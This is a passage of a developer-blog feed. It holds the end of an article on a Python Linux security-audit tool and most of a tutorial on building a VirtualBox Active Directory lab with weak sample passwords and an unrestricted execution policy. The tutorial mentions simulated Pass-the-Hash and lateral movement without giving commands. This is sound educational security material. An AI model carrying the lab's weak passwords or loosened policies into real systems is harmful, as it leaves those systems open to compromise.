display_services()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When Rich is enabled, results appear as &lt;strong&gt;tables&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Proto   State     Address
tcp     LISTEN    0.0.0.0:22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  18. Scan Summary
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;display_summary&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Counts warnings such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;insecure SSH settings&lt;/li&gt;
&lt;li&gt;world writable files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scan completed: 2026-03-06 10:20
Warnings found: 4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  19. JSON Export
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;export_json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Allows exporting scan results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan --export report.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
 "ssh": {...},
 "ports": {...}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Useful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;automation&lt;/li&gt;
&lt;li&gt;SIEM ingestion&lt;/li&gt;
&lt;li&gt;reporting&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  20. CLI Argument Parsing
&lt;/h1&gt;

&lt;p&gt;Handled using &lt;strong&gt;argparse&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example commands:&lt;/p&gt;

&lt;p&gt;Run full scan&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run specific modules&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan -m ssh firewall ports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Export report&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan --export report.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List modules&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan --list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Quiet mode&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan -q
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  21. Module System
&lt;/h1&gt;

&lt;p&gt;Modules are defined in a dictionary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;MODULES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;system_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the scanner &lt;strong&gt;modular and extensible&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Adding new checks becomes easy.&lt;/p&gt;




&lt;h1&gt;
  
  
  22. Main Function
&lt;/h1&gt;

&lt;p&gt;The main function orchestrates everything:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Parse CLI arguments&lt;/li&gt;
&lt;li&gt;Select modules&lt;/li&gt;
&lt;li&gt;Run scans&lt;/li&gt;
&lt;li&gt;Display results&lt;/li&gt;
&lt;li&gt;Export report&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Parse arguments
↓
Run selected modules
↓
Display results
↓
Export report (optional)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Final Outcome
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;vulnscan&lt;/code&gt; provides a &lt;strong&gt;quick security overview of a Linux system&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllax903f44w390f4iioj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fllax903f44w390f4iioj.png" alt=" " width="800" height="313"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxae9ts2agia80752js30.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxae9ts2agia80752js30.png" alt=" " width="800" height="197"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucesbd1r4hp7vgcpq0qs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucesbd1r4hp7vgcpq0qs.png" alt=" " width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Capabilities include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;System auditing&lt;/li&gt;
&lt;li&gt;SSH security analysis&lt;/li&gt;
&lt;li&gt;Firewall detection&lt;/li&gt;
&lt;li&gt;Port discovery&lt;/li&gt;
&lt;li&gt;Permission checks&lt;/li&gt;
&lt;li&gt;User privilege analysis&lt;/li&gt;
&lt;li&gt;Service enumeration&lt;/li&gt;
&lt;li&gt;Package update checks&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  Possible Future Improvements
&lt;/h1&gt;

&lt;p&gt;To make the tool even more powerful:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CVE lookup via NVD API&lt;/li&gt;
&lt;li&gt;Docker container scanning&lt;/li&gt;
&lt;li&gt;Cron job auditing&lt;/li&gt;
&lt;li&gt;Kernel vulnerability detection&lt;/li&gt;
&lt;li&gt;Risk scoring engine&lt;/li&gt;
&lt;li&gt;HTML security reports&lt;/li&gt;
&lt;li&gt;CIS benchmark checks&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;Tools that analyze Linux security often look similar on the surface, but they are built for very different moments in a security workflow.&lt;/p&gt;

&lt;p&gt;My &lt;strong&gt;Linux vulnerability analyzer&lt;/strong&gt; focuses on &lt;strong&gt;security auditing and system hygiene&lt;/strong&gt;. It checks things like SSH configuration, firewall status, open ports, user privileges, file permissions, and available package updates. The goal is to give administrators or learners a clear overview of how securely a system is configured and highlight areas that need improvement.&lt;/p&gt;

&lt;p&gt;In contrast, &lt;strong&gt;LinPEAS&lt;/strong&gt; is designed for a completely different scenario. It is used after an attacker or penetration tester already has access to a machine and wants to discover &lt;strong&gt;privilege escalation paths&lt;/strong&gt;. Instead of auditing configuration health, it searches aggressively for ways to gain higher privileges such as sudo misconfigurations, writable services, exposed credentials, or kernel exploits.&lt;/p&gt;

&lt;p&gt;So while both tools analyze a Linux system, their goals differ:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A vulnerability analyzer helps &lt;strong&gt;defenders audit and harden systems&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;LinPEAS helps &lt;strong&gt;attackers or penetration testers find ways to escalate privileges&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding this distinction is important because security is not just about breaking systems, but also about &lt;strong&gt;building and maintaining them securely&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>programming</category>
      <category>python</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Every Hacker Should Build This Active Directory Lab</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Thu, 05 Mar 2026 12:34:47 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/every-hacker-should-build-this-active-directory-lab-3bo4</link>
      <guid>https://forem.com/hafiz_shamnad/every-hacker-should-build-this-active-directory-lab-3bo4</guid>
      <description>&lt;p&gt;Hey folks, if you're dipping your toes into cybersecurity—whether you're a red teamer plotting simulated breaches, a blue teamer hardening defenses, or just a curious sysadmin wannabe—you've probably heard the hype around Active Directory (AD). It's the beating heart of most enterprise networks, handling authentication, authorization, and a whole lot of "oops, why did that user just get god-mode access?" moments.&lt;/p&gt;

&lt;p&gt;But here's the kicker: reading about AD in a book or watching a YouTube tutorial is like learning to swim by watching Olympic highlights. It's dry, it's theoretical, and it doesn't stick. That's why, a few months back, I rolled up my sleeves and built my own AD lab right on my beat-up laptop using nothing but VirtualBox. No fancy cloud credits, no corporate budget—just me, some free ISOs, and a caffeine-fueled weekend.&lt;/p&gt;

&lt;p&gt;The payoff? I finally &lt;em&gt;got&lt;/em&gt; it. I saw a Windows client pinging the domain controller, slurping up an IP via DHCP, and joining the domain like it was the easiest thing in the world. It felt like casting a spell that actually worked. And when I "accidentally" locked out a test user? Fixing it taught me more about Kerberos tickets than any certification exam ever could.&lt;/p&gt;

&lt;p&gt;If you're serious about hacking (ethically, of course), this lab is non-negotiable. It's your sandbox for everything from lateral movement exploits to GPO misconfigurations. In this guide, I'll walk you through every gritty detail—step by step—so you can replicate it without pulling your hair out. Let's turn your laptop into a mini-enterprise and break some (virtual) stuff.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why Bother with a Home AD Lab?
&lt;/h1&gt;

&lt;p&gt;Before we dive in, quick reality check: AD powers 95% of Fortune 500 companies. If you're aiming for pentesting certs like OSCP or eJPT, or just want to level up your SOC skills, hands-on AD experience is gold. In my lab, I tinkered with domain controllers, user enumeration, and even simulated a Pass-the-Hash attack (spoiler: it worked terrifyingly well).&lt;/p&gt;

&lt;p&gt;This setup is lightweight—runs on a mid-range laptop with 8GB RAM—and costs zilch if you snag eval versions. Pro tip: Treat it like a hacker's playground. Break it, rebuild it, repeat.&lt;/p&gt;




&lt;h1&gt;
  
  
  Lab Blueprint: What We're Building
&lt;/h1&gt;

&lt;p&gt;Two VMs, one internal network, endless chaos potential:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Domain Controller (DC) – The Boss Machine&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OS&lt;/strong&gt;: Windows Server 2019 (Desktop Experience for that GUI goodness)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Roles&lt;/strong&gt;: AD DS (Domain Services), DNS, DHCP, Routing &amp;amp; Remote Access (RRAS) for NAT&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specs&lt;/strong&gt;: 2 vCPUs, 2GB RAM, 60GB disk&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Setup&lt;/strong&gt;: Internal: 172.16.0.1/24 (static), NAT for outbound internet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Client Workstation – The Gullible Minion&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OS&lt;/strong&gt;: Windows 10 Pro&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Role&lt;/strong&gt;: Joins the domain, tests auth flows&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specs&lt;/strong&gt;: 2 vCPUs, 2GB RAM, 40GB disk&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Setup&lt;/strong&gt;: Dynamic via DHCP (172.16.0.x range)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Networking twist: Internal network for VM-to-VM chatter, NAT for the DC to phone home for updates. No host involvement—keeps it isolated and hack-proof.&lt;/p&gt;

&lt;p&gt;Tools you'll need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;VirtualBox 7.x&lt;/strong&gt; (free from oracle.com/virtualbox)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PowerShell&lt;/strong&gt; (built into Windows, but we'll script like pros)&lt;/li&gt;
&lt;li&gt;ISOs: Windows Server 2019 and Win10 eval from &lt;a href="https://www.microsoft.com/en-us/evalcenter" rel="noopener noreferrer"&gt;Microsoft's site&lt;/a&gt; (search "evaluation center")&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  Step 1: Gear Up VirtualBox
&lt;/h1&gt;

&lt;p&gt;Fire up your browser and grab VirtualBox + the Extension Pack. The pack unlocks USB passthrough and better USB2/3 support—handy if you ever want to "plug in" a virtual thumb drive for some USB-based fun.&lt;/p&gt;

&lt;p&gt;Install like any app: Run the EXE, accept defaults, reboot if it nags. Launch it, and boom—you're in the Oracle VM VirtualBox Manager. If you're on a Mac or Linux host, same drill; it plays nice cross-platform.&lt;/p&gt;

&lt;p&gt;Pitfall alert: If your antivirus freaks out (looking at you, Windows Defender), add VirtualBox to exclusions. False positives are the worst buzzkill.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 2: Snag Those Sweet ISOs
&lt;/h1&gt;

&lt;p&gt;Head to Microsoft's Evaluation Center:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019" rel="noopener noreferrer"&gt;Windows Server 2019&lt;/a&gt; – Pick the ISO, ~5GB download.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise" rel="noopener noreferrer"&gt;Windows 10&lt;/a&gt; – Enterprise edition for domain join perks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Save 'em to a folder like &lt;code&gt;C:\ISOs&lt;/code&gt;. These evals last 180 days—plenty of time to wreak havoc. (Ethical note: Don't deploy in prod; that's a lawsuit waiting to happen.)&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 3: Spin Up the DC VM
&lt;/h1&gt;

&lt;p&gt;In VirtualBox:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;New&lt;/strong&gt; &amp;gt; Name it "DC01", Type: Microsoft Windows, Version: Windows 2019 (64-bit).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory&lt;/strong&gt;: 2048MB (slider it up if you've got 16GB+ host RAM).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard Disk&lt;/strong&gt;: Create a virtual hard disk now, VDI format, dynamically allocated, 60GB.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Processors&lt;/strong&gt;: 2 CPUs under System tab.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hit &lt;strong&gt;Start&lt;/strong&gt; later; we'll tweak networking first. This config mimics a beefy server without hogging your laptop's guts.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 4: Wire the Network Like a Pro
&lt;/h1&gt;

&lt;p&gt;VM Settings &amp;gt; Network:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Adapter 1&lt;/strong&gt;: Enable, Attached to: NAT (for internet yumminess—updates, pings to google.com).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adapter 2&lt;/strong&gt;: Enable, Attached to: Internal Network. Name it "LABNET" (customize this; it'll be your isolated bubble).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under General &amp;gt; Advanced:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shared Clipboard: Bidirectional&lt;/li&gt;
&lt;li&gt;Drag'n'Drop: Bidirectional&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why two adapters? NAT keeps the DC worldly, Internal keeps lab traffic private. Test it post-install: From the DC, &lt;code&gt;ping 8.8.8.8&lt;/code&gt; should work; client-to-DC pings will too once joined.&lt;/p&gt;

&lt;p&gt;Common gotcha: If VMs can't see each other, double-check the Internal Network name matches on both.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 5: Breathe Life into the Server
&lt;/h1&gt;

&lt;p&gt;Settings &amp;gt; Storage &amp;gt; Controller: IDE &amp;gt; Empty &amp;gt; Optical Drive icon &amp;gt; Choose the Server 2019 ISO.&lt;/p&gt;

&lt;p&gt;Start the VM. Boot menu: Hit Enter on the ISO. Install &lt;strong&gt;Windows Server 2019 Standard (Desktop Experience)&lt;/strong&gt;—the GUI makes life easier for noobs.&lt;/p&gt;

&lt;p&gt;Partition: Custom, use the full 60GB. Setup wizard: Local admin password something memorable like &lt;code&gt;P@ssw0rd123!&lt;/code&gt;. It'll chug for 10-15 mins. Grab a coffee.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 6: First Login Tango
&lt;/h1&gt;

&lt;p&gt;VM boots to login screen? No shortcuts here—VirtualBox doesn't auto-map Ctrl+Alt+Del. Go &lt;strong&gt;Input &amp;gt; Keyboard &amp;gt; Insert Ctrl+Alt+Del&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Username: Administrator, password from setup. Desktop loads—welcome to server land. Quick win: Right-click Start &amp;gt; Windows PowerShell (Admin) to feel powerful.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 7: Tame the Network Adapters
&lt;/h1&gt;

&lt;p&gt;Search "View Network Connections". You'll see "Ethernet" x2—one with a 169.254.x.x APIPA (no DHCP yet), the other maybe similar.&lt;/p&gt;

&lt;p&gt;Right-click each &amp;gt; Status &amp;gt; Details. The NAT one might have a 10.x.x.x from VirtualBox's router.&lt;/p&gt;

&lt;p&gt;Rename 'em: Alt+Enter on each &amp;gt; Properties &amp;gt; Alt+Enter on "Local Area Connection" &amp;gt; Description field: "Internet Adapter" and "Internal Adapter".&lt;/p&gt;

&lt;p&gt;Why bother? Scripts and docs get confusing with generic names. Trust me, future-you thanks present-you.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 8: Lock Down That Static IP
&lt;/h1&gt;

&lt;p&gt;Right-click Internal Adapter &amp;gt; Properties &amp;gt; Internet Protocol Version 4 (TCP/IPv4) &amp;gt; Properties.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP: 172.16.0.1&lt;/li&gt;
&lt;li&gt;Subnet: 255.255.255.0&lt;/li&gt;
&lt;li&gt;Default Gateway: Leave blank (no upstream router yet)&lt;/li&gt;
&lt;li&gt;DNS: 127.0.0.1 (self-hosted, baby!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Apply. &lt;code&gt;ipconfig&lt;/code&gt; in CMD should show it. Ping yourself: &lt;code&gt;ping 172.16.0.1&lt;/code&gt;—loopback magic.&lt;/p&gt;

&lt;p&gt;Pro tip: 172.16.0.0/24 is RFC 1918 private—safe for labs, won't clash with your home WiFi.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 9: Summon Active Directory
&lt;/h1&gt;

&lt;p&gt;Server Manager (pops on login) &amp;gt; Dashboard &amp;gt; Quick Start &amp;gt; Add roles and features.&lt;/p&gt;

&lt;p&gt;Wizard: Role-based &amp;gt; This server &amp;gt; Next &amp;gt; Check &lt;strong&gt;Active Directory Domain Services&lt;/strong&gt; &amp;gt; Add features when prompted (includes management tools—yay GPOs!).&lt;/p&gt;

&lt;p&gt;Install. It'll download bits if NAT's working. ~5 mins.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 10: Crown the King—Promote to DC
&lt;/h1&gt;

&lt;p&gt;Post-install, yellow flag in Server Manager &amp;gt; Click &amp;gt; Promote this server to a domain controller.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployment: Add a new forest&lt;/li&gt;
&lt;li&gt;Root domain: &lt;code&gt;myfirstdomain.com&lt;/code&gt; (keep it simple; .local works too, but .com feels enterprise-y)&lt;/li&gt;
&lt;li&gt;DSRM password: Something strong like &lt;code&gt;R3c0v3ryP@ss!&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;DNS: Let it install&lt;/li&gt;
&lt;li&gt;NetBIOS: MYFIRSTDOMAIN (auto-fills)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Paths: Default. Review, install. Reboot incoming—save your work!&lt;/p&gt;

&lt;p&gt;Post-reboot: Login as &lt;code&gt;MYFIRSTDOMAIN\Administrator&lt;/code&gt;. DNS is now AD-integrated—test &lt;code&gt;nslookup myfirstdomain.com&lt;/code&gt; (should resolve to 172.16.0.1).&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 11: Populate the Kingdom—Users &amp;amp; OUs
&lt;/h1&gt;

&lt;p&gt;Server Manager &amp;gt; Tools &amp;gt; Active Directory Users and Computers (dsa.msc).&lt;/p&gt;

&lt;p&gt;Right-click domain &amp;gt; New &amp;gt; Organizational Unit: "Users", "IT Dept", "Sales" (OUs group users for GPOs later).&lt;/p&gt;

&lt;p&gt;New &amp;gt; User: &lt;code&gt;jdoe&lt;/code&gt;, full name John Doe, password &lt;code&gt;P@ssw0rd123&lt;/code&gt;, uncheck "User must change". Boom—domain citizen.&lt;/p&gt;

&lt;p&gt;Scale it: Right-click OU &amp;gt; New &amp;gt; User, rinse. Or... PowerShell time (next step).&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 12: Bridge to the Outside World—RRAS
&lt;/h1&gt;

&lt;p&gt;Server Manager &amp;gt; Add roles &amp;gt; Remote Access &amp;gt; DirectAccess and VPN (RAS), Routing.&lt;/p&gt;

&lt;p&gt;Install. Post-reboot: Server Manager &amp;gt; Tools &amp;gt; Routing and Remote Access.&lt;/p&gt;

&lt;p&gt;Right-click server name &amp;gt; Configure &amp;gt; Custom &amp;gt; LAN routing only &amp;gt; IPv4 &amp;gt; NAT.&lt;/p&gt;

&lt;p&gt;Right-click NAT &amp;gt; New Interface &amp;gt; Internal Adapter &amp;gt; Public (outbound) &amp;gt; Private (inbound from clients).&lt;/p&gt;

&lt;p&gt;Now clients can surf via DC proxy. Test later from client: &lt;code&gt;ping google.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pitfall: If NAT fails, ensure Adapter 1 (NAT) is up and RRAS service running (&lt;code&gt;services.msc&lt;/code&gt;).&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 13: Hand Out IPs Like Candy—DHCP
&lt;/h1&gt;

&lt;p&gt;Server Manager &amp;gt; Add roles &amp;gt; DHCP Server.&lt;/p&gt;

&lt;p&gt;Post-install: Authorize (notification flag &amp;gt; Complete DHCP config &amp;gt; domain admin creds).&lt;/p&gt;

&lt;p&gt;Tools &amp;gt; DHCP &amp;gt; Right-click IPv4 &amp;gt; New Scope:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Name: "Lab Scope"&lt;/li&gt;
&lt;li&gt;IP: 172.16.0.100 - 172.16.0.200&lt;/li&gt;
&lt;li&gt;Subnet: 255.255.255.0&lt;/li&gt;
&lt;li&gt;Exclude: None yet&lt;/li&gt;
&lt;li&gt;Lease: Default 8 days&lt;/li&gt;
&lt;li&gt;Router: 172.16.0.1&lt;/li&gt;
&lt;li&gt;DNS: 172.16.0.1&lt;/li&gt;
&lt;li&gt;WINS: Skip&lt;/li&gt;
&lt;li&gt;Activate: Yes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Right-click scope &amp;gt; Scope Options &amp;gt; 006 DNS Servers: 172.16.0.1. Done. Clients will auto-grab.&lt;/p&gt;




&lt;h1&gt;
  
  
  Step 14: PowerShell Wizardry—Bulk User Creation
&lt;/h1&gt;

&lt;p&gt;Labs need fodder. Open PowerShell as admin on DC:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Unrestricted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Scope&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CurrentUser&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create &lt;code&gt;users.txt&lt;/code&gt; via Notepad:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jdoe,John Doe,IT
asmith,Alice Smith,Sales
bwilson,Bob Wilson,HR
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Script it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\users.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$parts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sam&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
